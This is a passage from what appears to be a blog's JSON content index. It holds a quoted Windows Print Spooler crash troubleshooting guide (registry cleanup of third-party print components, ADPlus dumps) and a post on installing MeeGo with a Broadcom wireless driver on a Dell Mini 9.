href=\"http://blogs.technet.com/b/perfguru/archive/2008/08/06/print-spooler-crash-troubleshooting-steps.aspx\"\u003ehttp://blogs.technet.com/b/perfguru/archive/2008/08/06/print-spooler-crash-troubleshooting-steps.aspx\u003c/a\u003e)\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1 id=\"overview-of-print-spooler-component\"\u003eOverview of Print Spooler Component\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003ePrint Processor\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe print processor tells the spooler to alter a job according to the document data type. It works together with the printer driver to move the spooled print jobs from the hard disk drive to the printer.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrint Monitor\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe print monitors are the name of any component that processes the print job after it has spooled and are responsible for directing the output to the print device. Print monitors can be divided into two classes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLanguage monitors\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePort monitors\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eLanguage monitors\u003c/strong\u003e are typically used only for bi-directional printers. A bi-directional printer\u003c/p\u003e\n\u003cp\u003eSupports two-way communication to answer status, and configurations questions sent to it. A\u003c/p\u003e\n\u003cp\u003eBi-directional printer can also give unsolicited status information about the job being printed,\u003c/p\u003e\n\u003cp\u003eand error conditions such as paper out.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePort monitors\u003c/strong\u003e consist of user-mode DLLs. They are responsible for providing a     communications    path between the user-mode print spooler and the kernel-mode port drivers that access I/O port hardware.\u003c/p\u003e\n\u003cp\u003ePrint Spooler crash happens most of the time due to third party print processor and print monitor. We can set printers to use default print processor and monitor by machine changes in the registry called as Print hive cleaning\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote that all of the changes described in this section will take effect when the Print Spooler service is restarted.\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"confirm-the-default-local-print-provider\"\u003eConfirm the default Local Print Provider\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eUse Regedit to locate the Print key in the Registry:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\u003c/strong\u003e\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003e\n\u003cp\u003eClick to highlight the Print key in Regedit and export the key as a .reg file for backup purposes (File \u0026gt; Export).\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eLocate the Local Port Registry key:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Local Port\u003c/strong\u003e\u003c/p\u003e\n\u003col start=\"4\"\u003e\n\u003cli\u003eConfirm that the Driver value in the Local Port Registry key is set to Localspl.dll. If it is not, double-click the Driver value to edit the Data String and set it to Localspl.dll.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"remove-3rd-party-port-and-language-monitors\"\u003eRemove 3rd Party Port and Language Monitors\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eNote any 3rd-party Monitors that are listed in the \u003cstrong\u003eMonitors\u003c/strong\u003e Registry key for future reference:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe default Monitors are:\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003eAppleTalk Printing Devices\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBJ Language Monitor\u003c/strong\u003e \u003cstrong\u003eLocal Port\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLPR Port\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePJL Language Monitor\u003c/strong\u003e \u003cstrong\u003eStandard TCP/IP Port\u003c/strong\u003e \u003cstrong\u003eUSB Monitor\u003c/strong\u003e \u003cstrong\u003eWindows NT Fax Monitor\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Not all of the above default Port Monitors will be present in all cases. You may also see the Microsoft Office Document Imaging Monitor which is installed by MS Office.\u003c/p\u003e\n\u003cp\u003eThe 2 types of monitors that may be listed here are \u003cstrong\u003ePort Monitors\u003c/strong\u003e and/or \u003cstrong\u003eLanguage Monitors\u003c/strong\u003e. As a general rule, Language Monitors will not have any printer ports defined in the Ports subkey and may be removed without causing a problem. Port Monitors such as \u003cstrong\u003eHP Standard TCP/IP\u003c/strong\u003e, however, may have active printers using this port type. If a 3rd-party Port Monitor is in use, with printers defined in the Ports subkey under the Port Monitor, you will need to convert the port(s) to a Standard TCP/IP Port ( \u003cstrong\u003eStandard Port Monitor\u003c/strong\u003e).\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eTo convert the printer ports from the 3rd-party Port Monitor to Standard TCP/IP Port Monitor, perform the following steps:\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"convert-3rd-party-ports-to-standard-tcpip-ports\"\u003eConvert 3rd Party Ports to Standard TCP/IP Ports\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eOpen the \u003cstrong\u003ePrinters and Faxes\u003c/strong\u003e folder.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRight-click the printer that was identified as using the 3rd-party Port Monitor and select \u003cstrong\u003eProperties\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn the Properties for the printer, click the \u003cstrong\u003ePorts\u003c/strong\u003e tab.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eOn the Ports tab, click the \u003cstrong\u003eAdd Port\u003c/strong\u003e button.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn the \u003cstrong\u003ePrinter Ports\u003c/strong\u003e dialog, select \u003cstrong\u003eStandard TCP/IP\u003c/strong\u003e and click the \u003cstrong\u003eNew Port\u003c/strong\u003e button to start the \u003cstrong\u003eAdd Standard TCP/IP Printer Port Wizard\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eClick \u003cstrong\u003eNext\u003c/strong\u003e when the \u003cstrong\u003eAdd Standard TCP/IP Printer Port Wizard\u003c/strong\u003e starts to specify the printer that will be using this new port.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eEnter the \u003cstrong\u003ePrinter Name or IP Address\u003c/strong\u003e for the printer that will be using this new port and click \u003cstrong\u003eNext\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e The wizard automatically fills in the port name for you in the \u003cstrong\u003ePort Name\u003c/strong\u003e box. You can either accept this name or type the name that you want to use, and then click \u003cstrong\u003eNext\u003c/strong\u003e. Standard Port Monitor then sends a query to the print device. Based on the SNMP values that are returned, the device details are determined and the appropriate device options are displayed. If the print device cannot be identified, you must supply additional information about it.\u003c/p\u003e\n\u003col start=\"8\"\u003e\n\u003cli\u003eIf the \u003cstrong\u003eAdditional Port Information Required\u003c/strong\u003e page is displayed, perform one of the following tasks under \u003cstrong\u003eDevice Type\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eClick \u003cstrong\u003eStandard\u003c/strong\u003e, click the appropriate device in the list, and then click \u003cstrong\u003eNext\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003e-or-\u003c/p\u003e\n\u003cp\u003eClick \u003cstrong\u003eCustom\u003c/strong\u003e, click \u003cstrong\u003eSettings\u003c/strong\u003e, specify the protocol settings ( \u003cstrong\u003eRAW\u003c/strong\u003e or \u003cstrong\u003eLPR\u003c/strong\u003e) and the \u003cstrong\u003eSNMP\u003c/strong\u003e status settings that you want to use, click \u003cstrong\u003eOK\u003c/strong\u003e, and then click \u003cstrong\u003eNext\u003c/strong\u003e.\u003c/p\u003e\n\u003col start=\"10\"\u003e\n\u003cli\u003e\n\u003cp\u003eIf the wizard prompts you for the print server protocol, specify the protocol that you want to use, either \u003cstrong\u003eRAW\u003c/strong\u003e or \u003cstrong\u003eLPR\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIf the wizard prompts you to select a port, specify the port that you want to use in the \u003cstrong\u003eDevice Port\u003c/strong\u003e box, and then click \u003cstrong\u003eNext\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eClick \u003cstrong\u003eFinish\u003c/strong\u003e, and then click \u003cstrong\u003eClose\u003c/strong\u003e. On the Ports tab in the Properties for the printer, you should see that the printer is now set to use the new Standard TCP/IP Port that you just created. The new Standard TCP/IP port is also displayed in the \u003cstrong\u003ePorts on this server\u003c/strong\u003e list on the \u003cstrong\u003ePorts\u003c/strong\u003e tab in the \u003cstrong\u003ePrint Server Properties\u003c/strong\u003e ( \u003cstrong\u003eFile \u0026gt; Server\u003c/strong\u003e Properties from within the \u003cstrong\u003ePrinters\u003c/strong\u003e folder)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eYou can then delete the 3rd-party port from the \u003cstrong\u003ePorts\u003c/strong\u003e tab within the \u003cstrong\u003ePrint Server Properties\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRepeat these steps for all printers that are using a 3rd-party Port Monitor.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAfter moving all printers to the Standard TCP/IP Port Monitor, we can delete the 3rd-party Port Monitor\u0026rsquo;s Registry key under the \u003cstrong\u003eMonitors\u003c/strong\u003e key:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\u003c/strong\u003e\u003c/p\u003e\n\u003ch4 id=\"remove-all-other-3rd-party-monitors\"\u003eRemove All Other 3rd party Monitors\u003c/h4\u003e\n\u003cp\u003eFor any other 3rd party Monitors that are identified under the \u003cstrong\u003eMonitors\u003c/strong\u003e key and are confirmed to \u003cstrong\u003eNOT\u003c/strong\u003e have any printer ports listed under the Ports subkey for the Monitor, we will need to perform the following 2 steps\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIdentify printers configured to use the 3rd party Monitor.\u003c/li\u003e\n\u003cli\u003eDelete the reference to the Monitor for that printer.\u003c/li\u003e\n\u003cli\u003eDelete the Registry key for the 3rd party Monitor.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNote: The \u003cstrong\u003eClient Printer Port\u003c/strong\u003e is the Citrix Metaframe Monitor used for autocreated client printers in Terminal Server sessions. \u003cstrong\u003eDo not remove this Monitor unless it is confirmed to be related to the problem:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Monitors\\Client Printer Port\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eDriver REG_SZ cpmmon.dll\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003eSee the following article before removing \u003cstrong\u003eLexmark Monitors:\u003c/strong\u003e \u003cstrong\u003e155516\u003c/strong\u003e How to Remove the Lexmark MarkVision Monitor\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://support.microsoft.com/?id=155516\"\u003ehttp://support.microsoft.com/?id=155516\u003c/a\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eNote the name of the 3rd-party Monitor that is being removed. We will use this name to search the Print Registry key for references to this Monitor.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAssume, for example, that the \u003cstrong\u003eHP Master Monitor\u003c/strong\u003e is installed:\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Monitors\\HP Master Monitor\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eEOJTimeout REG_DWORD 0xea60\u003c/p\u003e\n\u003cp\u003eDriver REG_SZ HPBMMON.DLL\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eIn Regedit, click to highlight the Print key:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\u003c/strong\u003e\u003c/p\u003e\n\u003col start=\"3\"\u003e\n\u003cli\u003e\n\u003cp\u003ePress \u003cstrong\u003eF3\u003c/strong\u003e, or click the \u003cstrong\u003eEdit\u003c/strong\u003e menu and select \u003cstrong\u003eFind\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn the \u003cstrong\u003eFind What\u003c/strong\u003e field, type the name of the 3rd-party Monitor that is being removed, \u003cstrong\u003eHP Master Monitor\u003c/strong\u003e in this example, and click \u003cstrong\u003eFind Next\u003c/strong\u003e. Identify printers that are configured to use the Monitor that we are removing, for example:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Drivers\\Version-3\\HP Color LaserJet 2500 PCL 6\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eConfiguration File REG_SZ HPBF342E.DLL\u003c/p\u003e\n\u003cp\u003eData File REG_SZ HPBF342I.PMD\u003c/p\u003e\n\u003cp\u003eDriver REG_SZ HPBF342G.DLL\u003c/p\u003e\n\u003cp\u003eHelp File REG_SZ HPBF342E.HLP\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMonitor REG_SZ HP Master Monitor\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003col start=\"5\"\u003e\n\u003cli\u003eDouble-click the \u003cstrong\u003eMonitor\u003c/strong\u003e value to delete the 3rd party Monitor data string. In this example, delete the \u0026ldquo;HP Master Monitor\u0026rdquo; value. The Monitor value will be left with a blank data string, as follows:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Drivers\\Version-3\\HP Color LaserJet 2500 PCL 6\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eConfiguration File REG_SZ HPBF342E.DLL\u003c/p\u003e\n\u003cp\u003eData File REG_SZ HPBF342I.PMD\u003c/p\u003e\n\u003cp\u003eDriver REG_SZ HPBF342G.DLL\u003c/p\u003e\n\u003cp\u003eHelp File REG_SZ HPBF342E.HLP\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMonitor REG_SZ\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003col start=\"6\"\u003e\n\u003cli\u003e\n\u003cp\u003eRepeat the steps above for all 3rd-party Monitors.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eStop and restart the Print Spooler service for the changes take effect.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNet stop spooler\u003c/strong\u003e \u003cstrong\u003eNet start spooler\u003c/strong\u003e \u003cstrong\u003eNote:\u003c/strong\u003e In most cases, removing the 3rd party Monitors will not affect normal printing. If new problems are seen after removing the 3rd party Monitors, we can restore the backed up Print Registry key to restore the original configuration..\u003c/p\u003e\n\u003cp\u003eYou can then perform the steps above again in smaller steps, stopping and starting the Print Spooler service more frequently, to determine if a specific component is required. If so, skip the removal of this component and continue removing the other 3rd-party items.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e If the problem is easily reproducible, you may also individually remove the 3rd-party Monitors to try to narrow the problem down to a particular Monitor. This procedure will take more time and may require restarting the Print Spooler service multiple times.\u003c/p\u003e\n\u003ch1 id=\"remove-3rd-party-print-providers\"\u003eRemove 3rd-party Print Providers\u003c/h1\u003e\n\u003cp\u003eRemove 3rd party Print Providers by deleting the 3rd-party providers in the following Registry key:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Providers\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe default \u003cstrong\u003ePrint Providers\u003c/strong\u003e are:\u003c/p\u003e\n\u003cp\u003eInternet Print Provider\u003c/p\u003e\n\u003cp\u003eLanman Print Services\u003c/p\u003e\n\u003cp\u003eThe \u003cstrong\u003eClient Printer\u003c/strong\u003e Provider is the Citrix Metaframe provider used for autocreated client printers in Terminal Server sessions. Do not remove this Provider unless it is confirmed to be related to the problem:\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Providers\\Client Printer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eName REG_SZ C:\\Program Files\\Citrix\\system32\\cdmprov.dll\u003c/p\u003e\n\u003cp\u003eDisplayName REG_SZ Client Printer\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eStop and restart the Print Spooler service for the changes take effect.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eNet stop spooler\u003c/p\u003e\n\u003cp\u003eNet start spooler\u003c/p\u003e\n\u003ch1 id=\"remove-3rd-party-print-processors\"\u003eRemove 3rd Party Print Processors\u003c/h1\u003e\n\u003cp\u003ePerform the following steps to confirm that all printers are configured to use the \u003cstrong\u003eWinprintPrint Processor.\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIdentify printers that are configured to use a 3rd party Print Processor.\u003c/li\u003e\n\u003cli\u003eChange the 3rd party Print Processor to Winprint.\u003c/li\u003e\n\u003cli\u003eDelete the Registry key for the 3rd party Print Processor.\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003eNote the name of the installed Print Processors under the following Registry key:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Print Processors\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe default Print Processor is \u003cstrong\u003eWinprint\u003c/strong\u003e:\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Print Processors\\winprint\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eDriver REG_SZ localspl.dll\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003eAssume, for example, that the \u003cstrong\u003eHPPRN05\u003c/strong\u003e is installed:\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Print Processors\\HPPRN05\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eDriver REG_SZ HPPRN05.DLL\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eIn Regedit, click to highlight the Print key:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\u003c/strong\u003e\u003c/p\u003e\n\u003col start=\"3\"\u003e\n\u003cli\u003e\n\u003cp\u003ePress \u003cstrong\u003eF3\u003c/strong\u003e, or click the \u003cstrong\u003eEdit\u003c/strong\u003e menu and select \u003cstrong\u003eFind\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIn the \u003cstrong\u003eFind What\u003c/strong\u003e field, type \u003cstrong\u003ePrint Processor\u003c/strong\u003e and click \u003cstrong\u003eFind Next\u003c/strong\u003e. Identify the Print Processor being used for each printer:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Printers\\Client1\u003c/p\u003e\n\u003cp\u003eChangeID REG_DWORD 0x1b9fa8c9\u003c/p\u003e\n\u003cp\u003eStatus REG_DWORD 0x180\u003c/p\u003e\n\u003cp\u003eName REG_SZ Client\\XPWS\u003c/p\u003e\n\u003cp\u003eShare Name REG_SZ\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrint Processor REG_SZ HPPRN05\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003col start=\"5\"\u003e\n\u003cli\u003eDouble-click the \u003cstrong\u003ePrint Processor\u003c/strong\u003e value to change the 3rd party processor data string to \u003cstrong\u003eWinprint\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003cp\u003eHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Printers\\Client1\u003c/p\u003e\n\u003cp\u003eChangeID REG_DWORD 0x1b9fa8c9\u003c/p\u003e\n\u003cp\u003eStatus REG_DWORD 0x180\u003c/p\u003e\n\u003cp\u003eName REG_SZ Client\\XPWS\u003c/p\u003e\n\u003cp\u003eShare Name REG_SZ\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrint Processor REG_SZ WinPrint\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e==========================\u003c/p\u003e\n\u003col start=\"6\"\u003e\n\u003cli\u003e\n\u003cp\u003eRepeat the steps above for all 3rd-party Print Processors.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eStop and restart the Print Spooler service for the changes to take effect.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNet stop spooler\u003c/strong\u003e \u003cstrong\u003eNet start spooler\u003c/strong\u003e \u003cstrong\u003eNote:\u003c/strong\u003e In most cases, changing the print processor to Winprint will not affect normal printing. If new problems are seen after changing the print processor,  we can restore the backed up \u003cstrong\u003ePrint\u003c/strong\u003e Registry key and restart the Print Spooler service to restore the original configuration.\u003c/p\u003e\n\u003cp\u003eYou can then perform the steps above again in smaller steps, stopping and starting the Print Spooler service more frequently, to determine if a specific component is required. If so, skip the removal of this component and continue removing the other 3rd party items.\u003c/p\u003e\n\u003cp\u003eAdditional steps to be done\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCheck the Spool folder to see if there are any old files in the folder. When printing is working properly, the files in the Spool folder are deleted as the jobs are printed. The default Spool folder is:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003esystemroot\\System32\\Spool\\Printers\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe Spool folder location can be confirmed by checking the \u003cstrong\u003eDefaultSpoolDirectory\u003c/strong\u003e Registry value in the following Registry key:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Printers\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eMove any old files that are in the Spool folder to see if the problem still occurs. Corrupt files in the Spool folder can cause Print Spooler service problems. You may need to stop the Print Spooler service to move the files from the Spool folder.\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eThe Print Spooler service is, by default, dependent only upon the \u003cstrong\u003eRemote Procedure Call (RPC)\u003c/strong\u003e service, \u003cstrong\u003eRPCSS\u003c/strong\u003e. To confirm the Spooler dependencies, check the \u003cstrong\u003eDependOnService\u003c/strong\u003e value in the following Registry key:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Spooler\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eConfirm that the dependent services are started. If there are any other dependent services listed, in addition to \u003cstrong\u003eRPCSS\u003c/strong\u003e, edit the DependOnService Registry value to remove all dependencies except \u003cstrong\u003eRPCSS\u003c/strong\u003e.\u003c/p\u003e\n\u003col start=\"3\"\u003e\n\u003cli\u003eConfigure the installed antivirus application to exclude scanning the \u003cstrong\u003eSpool\u003c/strong\u003e folder. There can be contention between the antivirus application and the Print Spooler service that may cause intermittent printing problems.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eIf still issue persists we need to collect ADPlus crash dump of print spooler service. ADPlus is a tool that will allow us to get a memory dump from a process that is giving you problems.\u003c/p\u003e\n\u003cp\u003eTo get this tool, please install the “Debugging Tools for Windows\u0026quot; from \u003ca href=\"http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx\"\u003ehttp://www.microsoft.com/whdc/devtools/debugging/installx86.mspx\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eOnce these tools are installed, do the following:\u003c/p\u003e\n\u003cp\u003e1. Create a directory called c:\\adplus\u003c/p\u003e\n\u003cp\u003e2. Open a command prompt and change to the directory where you installed the debugging tools.  By default, this is c:\\Program Files\\Debugging Tools for Windows\u003c/p\u003e\n\u003cp\u003e3. Type the following: \u0026quot; \u003cstrong\u003ecscript adplus.vbs -hang -pn \u0026lt;mmc.exe\u0026gt; -o c:\\adplus\u003c/strong\u003e”\u003c/p\u003e\n\u003cp\u003e4. Do not interfere with the windows that is opened, just let it run minimized.\n5. You will not be able to log off the system while you are monitoring.\n6. When the crash occurs, please zip and send me the contents of the c:\\adplus directory.\u003c/p\u003e\n\u003cp\u003eFor more information please see refer to this Knowledge Base article: 286350 HOWTO: Use Autodump+ to Troubleshoot \u0026ldquo;Hangs\u0026rdquo; and \u0026ldquo;Crashes\u0026rdquo;\u003ca href=\"http://support.microsoft.com/?id=286350%20\"\u003ehttp://support.microsoft.com/?id=286350\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAfter collecting the dump please contact Microsoft for the analysis.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Print Spooler Crash Troubleshooting Steps"},{"content":"By default Meego 1.0 does not support the wireless broadcom chipset from the dell mini 9. I will explain how you can install Meego as netbook OS for your mini 9 with wireless :)\nFirst download Meego Then use Win32DiskImager.exe to create a bootable USB stick with the Meego image Install Meego Use the following procedure to fix the wireless: Instructions (tnx LostLogic @ Dell Forum): Go to the applications tab, and type Terminal. Launch it\n$ sudo yum install rpmdevtools $ sudo yum groupinstall \u0026ldquo;Development Tools\u0026rdquo; $ sudo yum install kernel-netbook-devel\nRestart the notbook after the kernel is installed.\nDownload the 32-bit package from this site and put it in your home/download dir Broadcom.com - 802.11 Linux STA driver\n$ cd Downloads $ mkdir hybrid_wl $ cd hybrid_wl $ tar xvzf /home/YOURUSERNAME/Downloads/hybrid-portsrc-x86_32-v5.60.48.36.tar.gz $ make clean $ make\nYou might get a warning during the make build. Don\u0026rsquo;t worry, it won\u0026rsquo;t affect the later steps!\n$ modprobe lib80211 $ sudo insmod wl.ko\nWelcome to WiFi MeeGo!\nWe might want the driver to load every time we boot up MeeGo, so let\u0026rsquo;s do the following! $ sudo cp wl.ko /lib/modules/`uname -r`/kernel/drivers/net/wireless $ sudo depmod -a\n","permalink":"https://blog.wapnet.nl/2010/10/install-meego-on-dell-mini-9-with-wireless-support/","summary":"\u003cp\u003eBy default Meego 1.0 does not support the wireless broadcom chipset from the dell mini 9. I will explain how you can install Meego as netbook OS for your mini 9 with wireless :)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFirst download \u003ca href=\"http://meego.com/downloads\"\u003eMeego\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eThen use \u003ca href=\"https://wiki.ubuntu.com/Win32DiskImager\"\u003eWin32DiskImager.exe\u003c/a\u003e to create a bootable USB stick with the Meego image\u003c/li\u003e\n\u003cli\u003eInstall Meego\u003c/li\u003e\n\u003cli\u003eUse the following procedure to fix the wireless:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eInstructions (tnx LostLogic @ \u003ca href=\"http://www.mydellmini.com/forum/dell-mini-9-discussion/21116-meego-mini9.html\"\u003eDell Forum\u003c/a\u003e):\u003c/strong\u003e\nGo to the applications tab, and type Terminal. Launch it\u003c/p\u003e\n\u003cp\u003e$ sudo yum install rpmdevtools\n$ sudo yum groupinstall \u0026ldquo;Development Tools\u0026rdquo;\n$ sudo yum install kernel-netbook-devel\u003c/p\u003e\n\u003cp\u003eRestart the notbook after 